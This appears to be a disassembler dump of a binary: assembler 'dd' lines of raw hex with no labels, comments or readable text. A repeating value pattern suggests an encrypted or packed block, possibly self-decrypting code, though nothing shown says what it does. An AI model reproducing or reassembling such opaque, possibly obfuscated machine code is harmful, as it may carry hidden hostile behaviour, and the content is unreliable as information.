		dd 6E26CAFAh, 669F518Eh, 7867E981h, 0B2C6815Eh,	8A00006Eh
		dd 1B8168E8h, 81660000h, 5A4208DFh, 0DBBEB866h,	66601E8Bh
		dd 6D2FF381h, 0A0EB8161h, 8A281EBCh, 0FBF381CEh, 81651BE2h
		dd 6718E2DFh, 3BC38104h, 53621371h, 12E9h, 0A795C400h
		dd 526115A1h, 2F7A24BAh, 31F130Ah, 59C58FF8h, 0B9661E89h
		dd 0EE8336A1h, 0C78B6604h, 1EA81h, 850F0000h, 18h, 2CE9F9h
		dd 383B0000h, 58922E4Ah, 0D6C919E6h, 43927B27h,	1E385FDAh
		dd 0F5806FB8h, 0FF8AE96Ch, 996EFFFFh, 0E40A56B3h, 7401B29Ch
		dd 5DB9B478h, 35E965E5h, 31000000h, 5AB295h, 0Ch dup(0)
		dd 511E9h, 8D616800h, 6FE90632h, 68FFF9F0h, 6328DCBh, 0F9F065E9h
		dd 8F6068FFh, 5BE90632h, 4EFFF9F0h, 0E596E707h,	7F30810Bh
		dd 1ACB1CA4h, 0B364B541h, 720051D7h, 5AE0BC59h,	0F87A5809h
		dd 9519F6A7h, 2D4B9344h, 62A12FDCh, 37F036ECh, 9F5A582Eh
		dd 0C9512CC3h, 29D13121h, 8509E61Bh, 1495EDDDh,	2E30AECCh
		dd 579FE5Bh, 3C9DF514h,	80FE48DDh, 9AB13C3Eh, 0EDC61107h
		dd 6F17A37Ch, 1F9C277Fh, 7F37EE89h, 0E25C670Fh,	1737EE89h
		dd 90AB23Eh, 0BB00A82Ch, 0C84F13F6h, 17FDE8AFh,	0CE582A1Fh
		dd 363h, 26AA87BCh, 909214CEh, 40A44464h, 9EE46DFh, 44EE3D1h
		dd 0F58A4786h, 134837EEh, 1505ADCBh, 63E151BDh,	5DCE502Eh
		dd 6454FC80h, 7C45500Ch, 0D929046Bh, 477CFA44h,	4A3AE26Eh
		dd 642564F2h, 62347F62h, 22CA522Dh, 0FE6EDA32h,	0C812A756h
		dd 3DAF0B4Ah, 41CF3E53h, 0B94AC0FFh, 1C8C3E28h,	28B92DA1h
		dd 0F77B583Eh, 93035F4Fh, 3880B533h, 0C90BC91Ah, 28B9348Ah
		dd 8EE6563Eh, 42A7C50Dh, 4E15CBF8h, 565FBEF6h, 3E000003h
		dd 0D586D7F7h, 6F2071FBh, 0ABB0C94h, 0A354A531h, 62F041C7h
		dd 4AD0AC49h, 0E86A48F9h, 8509E697h, 1D3B8334h,	52911FCCh
		dd 37F037FCh, 0F14A481Eh, 5294125Ch, 0C2BABF13h, 0F16FDF31h
		dd 0C2BA5CB2h, 0B60E7E31h, 469CE928h, 4CBC37F5h, 37BD99CEh
		dd 0D35935E6h, 36AD202Bh, 94DC37F0h, 55231176h,	83BB445Eh
		dd 2EC24h, 6D8DD400h, 7916B1Ch,	0A22A05B6h, 3BC7A051h
		dd 0D75D39EAh, 42E7F886h, 0DE8FE066h, 7C2D7E00h, 19CA1B9Fh
		dd 0B562B3D1h, 3792E827h, 0DEB437F0h, 0F45CF1E0h, 0C2BA41B5h
		dd 0B1118131h, 4697F433h, 70A537F5h, 74640C96h,	9840B01Ch
		dd 0F07C558Ah, 75005848h, 37F03605h, 22CAE830h,	7D441F54h
		dd 0DA4BF6CFh, 6D179FDh, 3FC6AA6Dh, 8E746326h, 45582387h
		dd 1F7h, 39579F07h, 2418391h, 31C2BA8Ch, 0AD55DFB9h, 99F161BDh
		dd 61B2D018h, 9956EA3h,	0A3ED82B1h, 0D731E625h,	0E15137EEh
		dd 6CE22163h, 0AE37EEA4h, 202EE63Eh, 4361A9DEh,	0EEA472C8h
		dd 0CC249437h, 0EEA4C941h, 0CACDE637h, 2A30351Bh, 41EC58h
		dd 0F1AE0000h, 0A123015Ch, 7F81C341h, 0F9CB786Dh, 0AF8CFD71h
		dd 3B93832Bh, 0EE9877B0h, 76508537h, 0FC5444ECh, 6D782090h
		dd 37EED01Dh, 341EF912h, 0C1149B32h, 348C7590h,	2994D3B9h
		dd 0F48A58h, 9F4C0000h,	90913957h, 85862EB4h, 6CA11F3Dh
		dd 0FBB30B8Fh, 1694B2FAh, 0BA2195D4h, 3F31C2h, 31C2BA8Ah
		dd 90005CCCh, 0D719D738h, 0C2BA2298h, 9CF46431h, 0C2BF9B11h
		dd 88A6EE31h, 0F943D837h, 6F37397Bh, 3A09CD76h,	3890E661h
		dd 519031C2h, 31C239FDh, 0E151AD1Dh, 6BBCFB89h,	0B337F1EAh
		dd 0B490C543h, 0FC3DDC50h, 0EDB449BDh, 0DB198937h, 0A7070A13h
		dd 32C9A556h, 3626CE58h, 0BB63E9C5h, 68066BCBh,	0A6445B8Ah
		dd 1570F6Eh, 0F83F0000h, 0FCD687D8h, 95702172h,	320BBC0Dh
		dd 0C8A455A6h, 4A63F142h, 0FC4DD3AFh, 9AEB6D4Bh, 37880CE9h
		dd 0CF203E86h, 0E1559422h, 2137F035h, 5D924D4Bh, 4F50F884h
		dd 5545ED73h, 0AE6B7F5h, 0A38A8734h, 68EECA4Bh,	1E6617h
		dd 0BFFE4082h, 31C2FD4Bh, 2AA01B8Bh, 5731C2FDh,	5C4CF47Ch
		dd 1AA67F00h, 0CA228272h, 579F7F69h, 1BC34F28h,	186EAD2Bh
		dd 3A31C2BAh, 0B7EC6ACAh, 0BEAE56DAh, 65ADAE66h, 297F647h
		dd 52FB3AB8h, 7A37EF09h, 0EA59ADECh, 0EB7937EEh, 0EEEA56ACh
		dd 0A8087837h, 0B995CA48h, 0E277055h, 98D68C1Ch, 0D9E8DBD8h
		dd 0B40565E8h, 41E5C1F6h, 0EE4D8C02h, 0FE5ECE37h, 830E6656h
		dd 37EE4D0Bh, 87D8F63Eh, 1B63FAD6h, 56555FDh, 7FFE5Dh
		dd 0F1100000h, 5594125Ch, 37F546ECh, 0EB5F9E2Ch, 2B37F036h
		dd 0B2B35BBBh, 4AFB4C6Ah, 313CE402h, 88703205h,	0A4AE69B2h
		dd 0BF2E946Fh, 0CDF0DDD2h, 96640C6Ch, 211F4F05h, 65BD1D21h
		dd 2D7E9CE4h, 6E16347Ch, 1EF7946Dh, 9AFAEA92h, 5496E8F2h
		dd 7093A115h, 0F371E153h, 70935EB4h, 0B8108053h, 699EA463h
		dd 2AAB0321h, 0C273C4E2h, 0A6B45C7Ah, 93D12564h, 81F15370h
		dd 34A29h, 0F75C0000h, 38589FBDh, 29478F90h, 1FA38081h
		dd 16987677h, 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah
		dd 0D9633D3Eh, 0D8681531h, 89000015h, 0A4682414h, 8900001Dh
		dd 3868240Ch, 89000066h, 0BB53242Ch, 482F15B1h,	19EAEB81h
		dd 0BE5675F9h, 0CC036F76h, 895EF329h, 8B545BD9h, 0C481242Ch
		dd 4, 895B5153h, 8B5B085Dh, 8953242Ch, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2434FF5Ch, 4C48359h, 0F9EB6DE9h, 0C67310FFh
		dd 0DCB83067h, 3063290h, 2EE0FFC5h, 0F5734D90h,	0AE6A80F6h
		dd 3A319C56h, 0DA0A72B9h, 0C07BA97Dh, 16278047h, 621AF86Fh
		dd 220EFD9h, 0FC54C91Dh, 2F022903h, 0BC65FB82h,	8D3147DAh
		dd 32924F8Dh, 0BD8D8906h, 89062C32h, 2C2BA58Dh,	0C78B6606h
		dd 14E9h, 0AD52B200h, 0FCB7208Fh, 91BAA1B2h, 2E9CE0B4h
		dd 42139F4Ch, 0D985C76Ah, 0BC062C12h, 6A00006Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 7926C355h, 8D898FB7h, 62C2365h, 85C7B0B6h, 62C29C1h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 26C35242h
		dd 0BD973BF2h, 0E615EB81h, 0B5FF1A3Fh, 62C150Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2AC35242h, 0FB88CB74h
		dd 920B3403h, 13AD958Bh, 95FF062Ch, 62C15F5h, 10B19589h
		dd 6A062Ch, 26B195FFh, 0C08B062Ch, 7CFF39EBh, 0D942F0CBh
		dd 86335730h, 99945C1Fh, 0D499129h, 0F88E97B6h,	0EB9789F0h
		dd 0EB7E837Eh, 0BAE7F977h, 17F67467h, 0C0B43181h, 79731960h
		dd 1D2BB9BAh, 71567876h, 8DE7864Bh, 3293348Dh, 0CA816606h
		dd 8D899C4Bh, 62C2BA5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0C4C35040h, 0C7F88BD3h, 2C12D985h, 5C9806h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89A149DDh, 2C3375B5h, 0C185C706h, 62C29h
		dd 66000000h, 0A189CA81h, 599B5FFh, 6A062Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 236BFC3h
		dd 0BF660888h, 95FFE8B2h, 62C15F5h, 6AD68B66h, 0B195FF00h
		dd 8B062C26h, 0F429EBC0h, 1ADC4B5h, 9E2F4EDDh, 264AA02Ah
		dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 2F64DDC7h, 0F3AC5D4h
		dd 6084DBC6h, 575E6BBDh, 9E8h, 25FA400h, 0FEFC23D7h, 0BD8BD87Ch
		dd 62C061Dh, 31C6805Eh,	5EF3C681h, 958B0000h, 62C1E89h
		dd 1F5CE1B8h, 4FE88166h, 89661F45h, 2C141DB5h, 6036FF06h
		dd 12B59D89h, 0BF66062Ch, 5B614B3Fh, 20B98D8Bh,	0F381062Ch
		dd 79123906h, 8E9h, 9B87E300h, 4148A94Fh, 9AF3815Bh, 51001011h
		dd 0FE9h, 0AFB01F00h, 0EB7B4E51h, 6A45CEF2h, 0C0B323DCh
		dd 2DF3815Ah, 8922AFEAh, 2C0D5D8Dh, 811E8906h, 0F93322E7h
		dd 1CEE8171h, 8B573F5Eh, 2C13E9BDh, 18C68106h, 66573F5Eh
		dd 0E881CB8Bh, 1, 0FF87850Fh, 9D89FFFFh, 62C2D15h, 0B1628853h
		dd 0BDB7595Dh, 0BE3256AEh, 0B13250DBh, 0B1B359ABh, 0B13256D5h
		dd 0B13016EAh, 0F1031A8Dh, 595256B8h, 0B132564Fh, 0B0E0E682h
		dd 7FD1BAC3h, 161F1A6Fh, 6A9CD21Ch, 0D76B0746h,	0D0C819CDh
		dd 0B1CB56BAh, 0A5DA365Dh, 0EC3256AEh, 8B0471FCh, 0C1DACBB9h
		dd 5C955702h, 37557A40h, 0D7FB12AEh, 58688931h,	0B132565Ah
		dd 5EFA6818h, 0D03240E9h, 343D56ABh, 0B13256D4h, 0D1325612h
		dd 36879CF4h, 3C5321FBh, 0BC320363h, 8C3256AEh,	65FA9B56h
		dd 0E367EF57h, 0DEC5FCD3h, 0B132AA8Bh, 3DC4D615h, 0B4DBA3DAh
		dd 0FE32565Dh, 0CDDFEF8Ah, 0CBC73736h, 0B132019Bh, 0E86205B5h
		dd 0B13237B2h, 4832568Dh, 0B12ADEB5h, 0A2DB565Dh, 7E3256AEh
		dd 40276747h, 0B66FC591h, 727FA3A2h, 0AA96B606h, 0B132DF31h
		dd 0B1325E53h, 3D144E5Dh, 466BC310h, 0B0B45903h, 483256ABh
		dd 0BE5256D5h, 0B132526Dh, 0E88A3075h, 0E540446h, 0D06BB4E1h
		dd 0B1CE56AEh, 69B33657h, 0B201AC5Fh, 13E9D7B3h, 0B132378Bh
		dd 0B13CDB7Ah, 0B8DB56BAh, 2832565Dh, 1BB19CB7h, 39154BB5h
		dd 0B1325C42h, 0B6ADF6D5h, 4877F1C3h, 0B133B2F0h, 0B1CBAFBAh
		dd 0B126BF5Dh, 0AC7656AEh, 0E83118FEh, 217EEF4Eh, 4A98E472h
		dd 0F1E650Fh, 0B13280C0h, 313D36DAh, 0B132565Dh, 0B1325A46h
		dd 0AA2DCD57h, 8B45C0DAh, 5E112E0Ch, 58530C89h,	0B132567Bh
		dd 5F493547h, 393060E2h, 712689A6h, 0B1539457h,	0B132A3ABh
		dd 0B139BEB5h, 0DA5E56EAh, 542B9C1Ah, 0ABBAE2C3h, 49B909BDh
		dd 583256CFh, 0B132565Ch, 4A2AF8E8h, 0AC0895A6h, 0B1434665h
		dd 0B13DBF75h, 0D51956BAh, 0D96377F0h, 1528D2EBh, 0F11FD1C2h
		dd 5832563Ah, 0B13256DBh, 410E39A7h, 0BC700A18h, 8ED970FBh
		dd 0B132A102h, 0BE325656h, 0B13257D1h, 0B132A3ABh, 0E9D5D6B5h
		dd 0B139BFB8h, 91725675h, 3604BCC4h, 565218E9h,	0B1530C45h
		dd 0BEDA3657h, 0C43256ABh, 0EE4716E4h, 150C2C47h, 0F60FB81Ch
		dd 0D052F446h, 0D0C0DD02h, 49C756AEh, 0B1325655h, 3D3256ABh
		dd 0B0407BACh, 0A5BD17DEh, 0B1158E45h, 0B6E5AFBAh, 0B1335654h
		dd 0B13056B6h, 0B1385653h, 0B1325424h, 0B13237B5h, 0B1325803h
		dd 0EE184175h, 0F148F1F2h, 7058DE79h, 589E2518h, 0B132565Ch
		dd 0C449F6AAh, 0AEC50C4Dh, 0B1C12A2Dh, 0B132AF75h, 0B4B359DAh
		dd 0D732565Dh, 0FC44B82Fh, 0B13237A2h, 0BE325653h, 0B132585Dh
		dd 0B13BBFEAh, 2055675h, 3A5B2D8Eh, 585971DBh, 0B13256A9h
		dd 837CC071h, 0B11B86F6h, 0B0BC59D5h, 4D3256EAh, 0B3765675h
		dd 0B0B159BAh, 4432565Dh, 0B37656AEh, 0BEC1E958h, 0B1325625h
		dd 0B15337D5h, 7119A3EAh, 0B13DBFE9h, 698956BAh, 35A5406Ch
		dd 4101F4C3h, 0ADBDB83Eh, 0B9C2D78Eh, 585B5D09h, 0B13256ECh
		dd 6C86D1B3h, 0D1AF75E8h, 0B123BFC1h, 1BA756AEh, 0C7236ECCh
		dd 0B37FB2DCh, 0FF7B06C6h, 31372A85h, 0B7DB3EA8h, 973256BAh
		dd 38F423Ah, 0EE62CBADh, 58623736h, 0B13256BBh,	0E6E4A74Dh
		dd 42507BAEh, 0FE9C7FC5h, 0DA88B366h, 247E29CBh, 31A4CD04h
		dd 0B7DBDE9Bh, 0F73256ABh, 636F62D2h, 2753CB49h, 4F325675h
		dd 0BB47FAE5h, 67C3CE26h, 0D31F12F9h, 59B330A4h, 0A5DB1B05h
		dd 6D3256D5h, 7959EC0Fh, 0C575D014h, 51D14427h,	0BD0D08C4h
		dd 2C693CFBh, 5832DD36h, 0B13256A7h, 62F05B71h,	9E3C5FFAh
		dd 0FA289349h, 0B5161233h, 0B1325AB4h, 0C34F82AEh, 0F4B1694h
		dd 7B073AB4h, 0F2C00EEEh, 2E0CAF2Ah, 0A78E399h,	436A3727h
		dd 803DCB1Eh, 0FDADEFC8h, 0E9530E0Dh, 0E3D0E20h, 0E968372Bh
		dd 0D3256B2h, 16B98E31h, 0B132F93Dh, 0B1325CB4h, 4383B2AEh
		dd 311AE13Bh, 0B1F08B46h, 0BE52A3D5h, 0B132506Bh, 0E3F3D775h
		dd 58314814h, 0B1325655h, 0C7ED0C5Eh, 6A0605DDh, 0D13256CAh
		dd 0B1323720h, 0B135D4E5h, 3F3D5675h, 0B13256BBh, 443256A4h
		dd 363D56AEh, 0B132564Eh, 0B1324242h, 921058D5h, 0B5163AF3h
		dd 0C5848E9Ch, 1E61058Dh, 3B97EE27h, 4432568Eh,	0B124DB58h
		dd 0A0DB56ABh, 8F3256D5h, 0B2D59E4Ch, 90948FB5h, 0F603A4AEh
		dd 37A87FBDh, 3A5256AEh, 373D37A0h, 0B13256A7h,	0B134D4DAh
		dd 313D56EAh, 0B1325675h, 313D56BAh, 0B132565Ch, 0B132AF56h
		dd 0B133D958h, 0B1CA56ABh, 43B236D5h, 0B2B7598Fh, 31325675h
		dd 0B153375Eh, 3161365Dh, 0D76D3359h, 9FE095D6h, 0BE3256CAh
		dd 0B132405Bh, 0B123BFEAh, 0EB075675h, 5B3CE198h, 5821AAFBh
		dd 410E39E3h, 0D1700A3Ah, 0D7C1E9A4h, 0B153855Eh, 0B4DB36EAh
		dd 9B325675h, 8B37A018h, 0B1325BB4h, 710903AEh,	99A1C136h
		dd 0F7A213C7h, 0B15300D2h, 0B132A3EAh, 0E3E1DC15h, 0D06CA630h
		dd 583256A5h, 0B13256BAh, 91E7F20Dh, 49F5FD16h,	0D7EFBF16h
		dd 0B2B9C26Ch, 6F14871h, 0A5DB56BAh, 0C532565Dh, 0DCC625B0h
		dd 9415264Fh, 357429C6h, 106D0F38h, 0B1D30BB7h,	0B13FBF75h
		dd 771256BAh, 0F1103B1Bh, 34A58592h, 0B1CB8EA5h, 568436ABh
		dd 0B132372Dh, 59D8DC8Ah, 0B1325661h, 5A968E1h,	6AF3DFEFh
		dd 53EB62B7h, 2526053Dh, 2F42EFDAh, 0B132DADAh,	0D06956EAh
		dd 313D5675h, 0B13256AEh, 0B138BE3Dh, 3BEF56AEh, 0D903E1Fh
		dd 0C411484Fh, 0D06BE48Dh, 0BBDB56EAh, 0FA325675h, 0E558DB70h
		dd 36CA9DD9h, 58325678h, 0B1325658h, 2C4A95D2h,	7D438753h
		dd 3E1ACAF0h, 0B178D200h, 0B13FBFBAh, 4E74565Dh, 0A5D1498h
		dd 0ECEFE0F4h
		dd 0B1F6DCCAh, 0B132AED5h, 0B133DCE5h, 0B1CE5675h, 0BDDBA3BAh
		dd 0E532565Dh, 0FF0149ADh, 456B16F2h, 0B10D02E8h, 0C58C36D5h
		dd 0D07BA9DBh, 3F3D5675h, 0B13256BDh, 62B9303Dh, 0B1538925h
		dd 0B6B15957h, 0D13256ABh, 63DA45Eh, 0B1323722h, 0B132539Ch
		dd 0EA2B6EBAh, 0B13230DDh, 0B13FD6A1h, 0B9DB5657h, 393256ABh
		dd 0F3EF3B76h, 0B17EC0AEh, 3A543675h, 0B2BF5944h, 0BE32565Dh
		dd 0B153A419h, 0B132AA57h, 0B139D1A4h, 315256D5h, 323DE11Fh
		dd 0B1325675h, 0B132AFDBh, 0B1325EB4h, 0C70264AEh, 13F950A2h
		dd 49325666h, 0B1CB56D5h, 0B13BBFEAh, 6E675675h, 8D3C67A1h
		dd 0B14E6D3Ch, 0B6B159AEh, 0BE325657h, 0B132572Bh, 0B132AED5h
		dd 92C0D78Ah, 0D01DBFE1h, 0BE5256BAh, 662ACE2h,	0B1530FF3h
		dd 0E3CB3657h, 0D0689C20h, 0BBDB56D5h, 303256EAh, 8526E5E2h
		dd 0DF555250h, 0BE325660h, 0B1325A24h, 0B7B25957h, 0BE3256ABh
		dd 0B132565Bh, 0B132AAEAh, 0B126DC7Ah, 0BEDB56BAh, 8632565Dh
		dd 5570B97h, 93365143h,	6F5961Ah, 0B1322D48h, 0D1325613h
		dd 0F34CED13h, 0B1324453h, 13CE115Dh, 662CE6E6h, 7CB1B598h
		dd 36307909h, 0D0838455h, 393D368Ah, 0B1325675h, 0E7BCECDCh
		dd 388D303Ch, 0B132374Bh, 0B13251BEh, 0C9FC59ABh, 3751A4ABh
		dd 595256EAh, 0B1325667h, 0FFDD4E08h, 4146CFF4h, 0C735709Bh
		dd 0F95E2B95h, 40B9FC81h, 4285598Ah, 5832568Bh,	0B1325665h
		dd 57A41848h, 243BF662h, 0E365CFE4h, 3877A1D7h,	0B1CB56ABh
		dd 0E3D36D5h, 0B123BF32h, 457F5675h, 2083836Dh,	9848A03Ch
		dd 748CEA52h, 0D043AA1Bh, 0B1324242h, 9B3346D5h, 4CF6D3F3h
		dd 4D37FEF5h, 8BE68842h, 0A1E1B145h, 583256DBh,	0B1325646h
		dd 0A9D89675h, 7659B262h, 85F760D2h, 8F71C090h,	0D1325689h
		dd 0B13251B4h, 0C2B6EAAEh, 642225ADh, 698D59FDh, 0B132378Ch
		dd 0D0C7AF8Ah, 0A1DB5675h, 0C13256BAh, 0A3CA46FDh, 39120CEDh
		dd 0B80472E1h, 0B11EEBF8h, 0B134BFD5h, 0EFC356EAh, 381E3A8h
		dd 0B6DB56BAh, 0DB32565Dh, 51DD5C2Dh, 0B132CC56h, 0B1325B42h
		dd 29D561D5h, 2ED11DD6h, 4EC83155h, 0B132B2E0h,	95B859A5h
		dd 0D13256AEh, 0B1325ABEh, 5A6F59ABh, 19772219h, 5B524DBAh
		dd 0B13EBFCDh, 0B98F56BAh, 8CFC6CA7h, 943827C9h, 0B1532005h
		dd 0B0B759ABh, 443256D5h, 0B139DDE5h, 31525675h, 3E3D8257h
		dd 0B132565Dh, 0D13256CFh, 58C1E158h, 0B13256AEh, 49B2FBC8h
		dd 0B1323788h, 68B90615h, 0AAA6EFE2h, 0B15352D4h, 3BC736AEh
		dd 0B132379Fh, 0D132565Eh, 0D164A45Eh, 0B1530F8Bh, 0B138BF75h
		dd 75EE56BAh, 0B94C1877h, 817A744Bh, 49525657h,	0FB8D30FAh
		dd 0B1530C8Bh, 0B132AEEAh, 0E1C3DC15h, 6E8D7DCh, 0B1530E57h
		dd 3A5436AEh, 0D7523788h, 0D0504011h, 305256D5h, 0B76E7F03h
		dd 0B1323749h, 0B1325D53h, 791CB65Dh, 7C561DD1h, 0D7385EBAh
		dd 0D75256ABh, 0D0CA815Eh, 3B3D56EAh, 0B132567Bh, 0B1325F53h
		dd 2E5445Dh, 40972F7Ah,	0B1323F7Dh, 0B124D0A4h,	0A0DB56D5h
		dd 893256EAh, 0C29E6BF0h, 0EC887318h, 0C87E66B5h, 0DFC01DC3h
		dd 58525657h, 0B13256A5h, 70BC08A5h, 0CC4F7B98h, 8E1305F8h
		dd 0BDDBE2CFh, 9732565Dh, 0B26236AFh, 0F9D1F06Ch, 0D0CA4A60h
		dd 3A5256D5h, 698D593Dh, 4D325614h, 0B1CA56BAh,	0AEB5595Dh
		dd 0BE3256AEh, 0B1324FD7h, 0B126BFABh, 4CD856D5h, 8797BABCh
		dd 0AA5BBDDDh, 4E3EB191h, 0A17405E1h, 0B132EE80h, 0B12BD158h
		dd 0A5DB56ABh, 523256D5h, 4FB50F9h, 1C065BF2h, 0F1C6BE8Bh
		dd 28097A83h, 0B103C328h, 0B13DBF57h, 7DD756ABh, 0F469AAFBh
		dd 6DE9A87Fh, 13628F57h, 0D13256EEh, 278B07EEh,	0D00A4885h
		dd 353D5657h, 0B13256B4h, 0B12BDFDAh, 0A5DB56EAh, 0D8325675h
		dd 0D0BF9D2Dh, 0A56F98C7h, 1701A160h, 0F05FE9BCh, 0B1DCDB2Dh
		dd 0B13CBFD5h, 3EF956EAh, 93C37B8Bh, 0AB4C8626h, 8C48F45Bh
		dd 353D56AEh, 0B1325659h, 585336CBh, 0B13256D0h, 89D03132h
		dd 0B132377Eh, 0B13BBFDAh, 822E565Dh, 9014B19Bh, 0BE1D9AC3h
		dd 0B132552Dh, 7A8559D5h, 0D132568Bh, 0E45986F4h, 0B4DB7E43h
		dd 7432565Dh, 15ACF740h, 49325636h, 58325657h, 0B13256D0h
		dd 1E04144Dh, 0D13256F2h, 5DB29D30h, 0B13237E1h, 0BEBF5956h
		dd 58325657h, 0B13256A1h, 8ACDF764h, 0EB7BD208h, 0B132D3FBh
		dd 0B1324753h, 0FCE3DC5Dh, 87D29849h, 0F57096Ah, 4788F67h
		dd 0B1321B6Fh, 0D1325612h, 0C505A1F4h, 0E3D4D99h, 0B13237AEh
		dd 0B1325B47h, 73FA4D57h, 5BC0D924h, 0CB12CA47h, 0B132EDD9h
		dd 0B126BF15h, 0A4A456BAh, 0B239856Dh, 80579E2Ah, 0EC06AB87h
		dd 0B265D659h, 73B97C25h, 4832568Bh, 0B1325E9Ch, 0E77CE4BAh
		dd 0E3FE9F22h, 58325699h, 0B1325658h, 0BEFF488Dh, 902CE4C6h
		dd 0C1D638F6h, 491C4B66h, 0BADB56BAh, 3032565Dh, 4D4E544Ch
		dd 1F3EFED6h, 0B132D2D8h, 0B132593Ch, 5D7F42EAh, 56FBCEBFh
		dd 0E76E5770h, 0BA51DB50h, 0A3DB56AEh, 0BD325657h, 0B7AD0F06h
		dd 268F6248h, 53A74715h, 30FED03Bh, 0D13256A2h,	0E1F0E152h
		dd 7989A42Fh, 0D06C03C7h, 0B1CB56ABh, 0B0B259D5h, 493256EAh
		dd 333D5675h, 0B13256B4h, 0B1BB593Dh, 0BE3256AEh, 0B13256D8h
		dd 0B13237ABh, 0BDDB06B5h, 0B83256EAh, 3CFC9C67h, 1C34799Ch
		dd 0EA5EA0A6h, 0BE8C30F8h, 0B15308C3h, 0B139BFABh, 4C3A56D5h
		dd 918EA8D6h, 7C4208AFh, 0A1DB367Bh, 0F232565Dh, 0BBE4B463h
		dd 4BD2F433h, 6096F009h, 58802DD2h, 0B13256FEh,	48822F2Ch
		dd 0F946C740h, 0B2935B7Fh, 880136F4h, 1210D836h, 0BE3256CAh
		dd 0B1325756h, 0B132AFEAh, 44325680h, 3C3D56BAh, 0B132567Ah
		dd 0B13ABFCEh, 9A4C5657h, 0C4250C93h, 0A2DB34C9h, 0FE3256EAh
		dd 98C699E7h, 98AA7CDCh, 76D0727Fh, 693EE4A7h, 0B15366D4h
		dd 0B132AAABh, 4932562Dh, 0B9DB56EAh, 66325675h, 6CD91AE0h
		dd 0B1B50A3Dh, 0B122BFAEh, 3E0D5657h, 1C9B0C89h, 0DF93C8C1h
		dd 0CB257FFDh, 0B1328B25h, 0B120DBB5h, 0BCDB565Dh, 0E23256AEh
		dd 6EF02E95h, 4DFAB3C5h, 0C26681F8h, 0BCDB56EAh, 7B325675h
		dd 77D0CB86h, 0C85621ADh, 2BCD6C3Bh, 58525657h,	0B13256A2h
		dd 0BE469886h, 0FC7C5D3Ah, 0B2EBD7FBh, 0D03E90A3h, 0B6DB565Dh
		dd 7F3256AEh, 0FB43F132h, 0B1325F76h, 0B13EDFDAh, 305256EAh
		dd 230D7EBBh, 168A30D9h, 0B1323795h, 0B125DDA1h, 0A3DB5657h
		dd 153256ABh, 0A77F1073h, 0C13E3C3Fh, 405B479Eh, 53EECD9Ch
		dd 0A9BC59D2h, 583256AEh, 0B1325644h, 0A62D114Dh, 64B48F35h
		dd 6FC3A730h, 69B6C566h, 0B19FDA71h, 303D365Dh,	0B13256A8h
		dd 0D0DB6D6h, 1851AAEh,	583256B4h, 0B13256E0h, 75506ED6h
		dd 4382DA5Ah, 0B1C78B08h, 0B7B959AEh, 0D1325657h, 77B0ECCDh
		dd 0D13256B4h, 0D0EADD8Ch, 4A855915h, 583256DBh, 0B132564Eh
		dd 23CD54D9h, 32998FC8h, 3EDB637Eh, 0CCA10CF9h,	0BE2E8519h
		dd 0B13257F5h, 0B132AFBAh, 0D07CE43Dh, 0D75256AEh, 303D85DCh
		dd 0B13256ABh, 4D3256B4h, 0B1CA56EAh, 0B13CBF75h, 0E36556BAh
		dd 3877A1DDh, 7BA1EF3Ch, 87F4C692h, 393D56ABh, 0B13256DDh
		dd 428D598Ah, 0D0F0E17Ah, 0BE5256BAh, 333DA9E2h, 0B13256ADh
		dd 0D0E2E158h, 303D56ABh, 0B13256C6h, 0B1325803h, 0AEE6CF75h
		dd 0A25BE560h, 0E9044339h, 0B13F98E4h, 0B4DBA357h, 513256ABh
		dd 0BEF1A05Dh, 383D56EAh, 0B1325660h, 0B13DD7B5h, 0BBDB565Dh
		dd 1D3256AEh, 56E15A4Ch
		dd 4CF8CD4Fh, 483256A3h, 0D75256EAh, 0D78440CEh, 0D1538931h
		dd 0D2924FE4h, 0B13237D0h, 0B13AD958h, 313D56ABh, 0B13256D7h
		dd 0B132378Ah, 0B1325E9Ch, 291DAEBAh, 714A66A9h, 0D13256AAh
		dd 0B12BD058h, 0A2DA56ABh, 0CE3256D5h, 0ECDC9F6Bh, 0DC754201h
		dd 0E9A56623h, 695C7EA8h, 0D06CFAABh, 0B13246BEh, 0E0B6FABh
		dd 1EC1AF7Eh, 4660DA70h, 3B6465D2h, 58325689h, 0B1325651h
		dd 4EE73B65h, 0E2882D98h, 0A412AB8Fh, 0B1C756D5h, 0B132AAEAh
		dd 11D9D615h, 0D0C9E1B5h, 3152565Dh, 3A54ED4Ah,	0B1323780h
		dd 0B139BFCBh, 522A56D5h, 7BA38E70h, 0CA717FFEh, 0D0E1DD34h
		dd 323D565Dh, 0B13256A9h, 0B133D758h, 0B1C756ABh, 0B132AED5h
		dd 0B13BD3E5h, 30525675h, 7C5DEF51h, 0B153AA66h, 373D36AEh
		dd 0B1325655h, 0B1538221h, 0B132AAD5h, 0B1325E03h, 87125E75h
		dd 0D9352EC7h, 443256F6h, 4DCE56AEh, 0B8DB5657h, 263256ABh
		dd 666A0F59h, 0FCD1D7B3h, 0BDDB5675h, 273256BAh, 0DEFF28D0h
		dd 4A33F512h, 0B1C67CFDh, 0BBB359ABh, 0D13256D5h, 1767CF50h
		dd 0CCC4D66Dh, 4D3256DBh, 0D752565Dh, 0D0DCD215h, 0B1CA5657h
		dd 0A9B259ABh, 583256D5h, 0B13256F9h, 3CA96B2Fh, 13CB1E8Bh
		dd 9C9319FEh, 10519544h, 0B1F07E2Eh, 0B9BC59ABh, 0BE3256D5h
		dd 0B132546Bh, 0B1533675h, 53B836BAh, 0B13FBE3Dh, 7C9F56AEh
		dd 9A7E4C4Bh, 7AADE2CDh, 0EAA245C0h, 0B132378Bh, 0FB8C3015h
		dd 72B9305Dh, 4832563Ch, 323D56AEh, 0B1325656h,	4D325652h
		dd 0B8DB56D5h, 5F3256EAh, 2F9A2587h, 3BB1BCD7h,	252565Dh
		dd 0DBF7D62Bh, 58325636h, 0B13256AEh, 110F671Dh, 0D132568Dh
